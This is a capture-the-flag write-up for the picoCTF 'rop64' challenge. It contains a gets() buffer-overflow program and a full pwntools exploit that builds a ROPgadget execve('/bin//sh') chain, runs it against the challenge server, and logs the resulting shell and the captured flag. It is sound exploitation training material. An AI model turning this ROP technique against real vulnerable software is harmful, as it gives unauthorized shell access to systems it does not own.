Skip to content

Latest commit

 

History

History
234 lines (202 loc) · 9.71 KB

rop64.md

File metadata and controls

234 lines (202 loc) · 9.71 KB

rop64

Binary Exploitation, 400 points

Description:

Time for the classic ROP in 64-bit. Can you exploit this program to get a flag?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

Solution:

This is the follow-up for rop32 and is solved using the same strategy (using ROPGadget to generate a ROP chain).

# First, generate a pwntools template using:
# pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/rop64_1_3a135066aff0c433faf93765baaa584d/vuln

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

import os
from struct import pack

if shell is not None:
    shell.set_working_directory(os.path.dirname(remote_path))

def send_payload(proc, payload):
    proc.sendlineafter("Can you ROP your way out of this?", payload)


def get_overflow_offset():
    # It's problematic to create a core dump on an NTFS file system,
    # so reconfigure core dumps to be created elsewhere
    os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
    os.system("rm core.* > /dev/null")
    proc = process(exe.path)
    payload = cyclic(50, n = exe.bytes)
    send_payload(proc, payload)
    proc.wait()
    offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
    log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes))
    return offset

def get_rop(overflow_offset):
    # execve generated by ROPgadget
    # ROPgadget --binary ./vuln  --ropchain --badbytes 0a
    
    p = ''

    p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
    p += pack('<Q', 0x00000000006b90e0) # @ .data
    p += pack('<Q', 0x00000000004156f4) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
    p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
    p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
    p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
    p += pack('<Q', 0x00000000006b90e0) # @ .data
    p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
    p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
    p += pack('<Q', 0x00000000004499b5) # pop rdx ; ret
    p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
    p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
    p += pack('<Q', 0x000000000047b6ff) # syscall

    return fit({overflow_offset: p})

overflow_offset = get_overflow_offset()

io = start()
payload = get_rop(overflow_offset)

log.info("Sending payload: \n{}".format(hexdump(payload)))

send_payload(io, payload)

io.interactive()

Output:

root@kali:/media/sf_CTFs/pico/rop64# python exploit.py
[*] '/media/sf_CTFs/pico/rop64/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] dvdalt@2019shell1.picoctf.com:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Opening new channel: 'pwd': Done
[+] Receiving all data: Done (13B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/tmp/tmp.2pDYAyOQ8T'
[+] Opening new channel: 'ln -s /home/dvdalt/* .': Done
[+] Receiving all data: Done (0B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/problems/rop64_1_3a135066aff0c433faf93765baaa584d'
[+] Starting local process '/media/sf_CTFs/pico/rop64/vuln': pid 1265
[*] Process '/media/sf_CTFs/pico/rop64/vuln' stopped with exit code -11 (SIGSEGV) (pid 1265)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/pico/rop64/core.1265'
    Arch:      amd64-64-little
    RIP:       0x400b6e
    RSP:       0x7ffefd4ec918
    Exe:       '/media/sf_CTFs/pico/rop64/vuln' (0x400000)
    Fault:     0x6161616161616164
[*] Overflow offset: 24 (8-byte architecture)
[+] Starting remote process '/problems/rop64_1_3a135066aff0c433faf93765baaa584d/vuln' on 2019shell1.picoctf.com: pid 387
8739
[*] Sending payload:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  66 61 61 61  d3 00 41 00  00 00 00 00  │eaaa│faaa│··A·│····│
    00000020  e0 90 6b 00  00 00 00 00  f4 56 41 00  00 00 00 00  │··k·│····│·VA·│····│
    00000030  2f 62 69 6e  2f 2f 73 68  61 f5 47 00  00 00 00 00  │/bin│//sh│a·G·│····│
    00000040  d3 00 41 00  00 00 00 00  e8 90 6b 00  00 00 00 00  │··A·│····│··k·│····│
    00000050  50 4c 44 00  00 00 00 00  61 f5 47 00  00 00 00 00  │PLD·│····│a·G·│····│
    00000060  86 06 40 00  00 00 00 00  e0 90 6b 00  00 00 00 00  │··@·│····│··k·│····│
    00000070  d3 00 41 00  00 00 00 00  e8 90 6b 00  00 00 00 00  │··A·│····│··k·│····│
    00000080  b5 99 44 00  00 00 00 00  e8 90 6b 00  00 00 00 00  │··D·│····│··k·│····│
    00000090  50 4c 44 00  00 00 00 00  c0 49 47 00  00 00 00 00  │PLD·│····│·IG·│····│
    000000a0  c0 49 47 00  00 00 00 00  c0 49 47 00  00 00 00 00  │·IG·│····│·IG·│····│
    *
    00000270  ff b6 47 00  00 00 00 00                            │··G·│····││
    00000278
[*] Switching to interactive mode

$ $ ls
flag.txt  vuln    vuln.c
$ $ cat flag.txt
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_7b18513b}$ $
[*] Interrupted